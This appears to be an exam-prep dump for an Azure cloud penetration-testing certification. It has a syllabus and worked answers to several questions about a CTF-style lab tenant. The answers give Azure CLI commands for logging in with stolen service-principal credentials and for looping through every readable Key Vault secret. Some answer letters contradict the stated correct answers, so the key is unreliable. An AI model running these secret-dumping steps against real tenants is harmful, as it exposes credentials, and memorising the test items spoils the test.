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| Section | Objectives |
|---|---|
| Topic 1: Azure Cloud Attack Surface & Reconnaissance | - Identity and tenant reconnaissance (Entra ID) - Azure environment enumeration and asset discovery |
| Topic 2: Cloud Attack Chains & Real-World Scenarios | - Flag-based CTF-style objective completion - Multi-stage exploitation paths in Azure environments |
| Topic 3: Azure Infrastructure Exploitation | - Network security group and virtual network abuse - Virtual machine compromise and lateral movement |
| Topic 4: Azure Active Directory (Entra ID) Attacks | - Misconfiguration exploitation in identity services - Privilege escalation in Entra ID |
| Topic 5: Azure Storage & Data Exfiltration | - Blob storage misconfiguration exploitation - Sensitive data discovery and extraction |
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NEW QUESTION # 29
A virtual machine has a system-assigned managed identity. From the VM shell, which Azure CLI command authenticates using that identity?
Answer: C
Explanation:
Detailed Solution:
On an Azure VM with a system-assigned managed identity, run:
az login --identity
Then verify:
az account show
For a user-assigned managed identity, specify the client ID:
az login --identity --client-id < client-id >
Microsoft's Azure CLI documentation confirms az login --identity for system-assigned managed identities and --client-id, --object-id, or --resource-id for user-assigned identities.
Correct answer:
B). az login --identity
NEW QUESTION # 30
Using the privileges of the previously compromised App Registration, explore the Azure environment to identify and access sensitive information. What is the final flag retrieved from the tenant?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.
Detailed Solution:
Stay authenticated as the service principal from Q10.
az account show
List visible Key Vaults:
az keyvault list --output table
If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.
for kv in $(az keyvault list --query " [].name " -o tsv); do
echo " ===== $kv ===== "
az keyvault secret list \
--vault-name " $kv " \
--output table
done
Once you identify secret names, retrieve their values:
az keyvault secret show \
--vault-name < vault-name > \
--name < secret-name > \
--query value \
--output tsv
To dump all readable secrets from all visible vaults:
for kv in $(az keyvault list --query " [].name " -o tsv); do
echo " ===== Vault: $kv ===== "
for sec in $(az keyvault secret list --vault-name " $kv " --query " [].name " -o tsv); do echo " ----- Secret: $sec ----- " az keyvault secret show \
--vault-name " $kv " \
--name " $sec " \
--query value \
--output tsv
done
done
Look for the final value in this format:
Flag{...}
That returned secret value is the final tenant flag.
Final answer:
Use the Flag{...} value returned by az keyvault secret show.
NEW QUESTION # 31
Authenticate to Azure as a service principal using the credentials found in backup-config.json.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
Use az login --service-principal
Detailed Solution:
Command:
az login --service-principal \
-u c5fba7db-5e61-45bc-8944-3cd457bb19c2 \
-p ' < client-secret > ' \
--tenant 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a
Verify:
az account show --output json
Expected important field:
{
" user " : {
" name " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,
" type " : " servicePrincipal "
}
}
This confirms you are authenticated as the App Registration/service principal.
NEW QUESTION # 32
During network reconnaissance of an Azure VM, you inspect its Network Security Group. Which inbound rule creates the highest risk?
Answer: D
Explanation:
Detailed Solution:
List NSG rules:
az network nsg rule list \
--resource-group rg-prod-apps-eastus \
--nsg-name nsg-prod-linux01 \
--output table
Expected risky rule:
Name Priority Direction Access Protocol Source DestinationPortRange
------------ -------- --------- ------ -------- ------------ -------------------- Allow-SSH 100 Inbound Allow Tcp Internet 22 SSH exposed directly to the Internet is risky because it increases brute-force, credential-stuffing, and remote exploitation exposure. In a hardened Azure environment, SSH should typically be restricted through VPN, Bastion, JIT access, or trusted administrative IP ranges.
Correct answer:
B). Allow TCP 22 from Internet
NEW QUESTION # 33
Using the managed identity principal ID discovered in the previous task, identify which Azure RBAC role is assigned to it.
Answer: B
Explanation:
Detailed Solution:
Query role assignments for the managed identity principal:
az role assignment list \
--assignee b72a4c19-92f6-47f3-b3dd-9db5a31831d1 \
--all \
--output table
Expected output:
Principal Role Scope
------------------------------------ ---------------------- ---------------------------------------------- b72a4c19-92f6-47f3-b3dd-9db5a31831d1 Key Vault Secrets User /subscriptions/.../resourceGroups/rg-prod- apps-eastus The assigned role is:
Key Vault Secrets User
Azure RBAC role assignments can be granted to users, groups, service principals, and managed identities.
NEW QUESTION # 34
......
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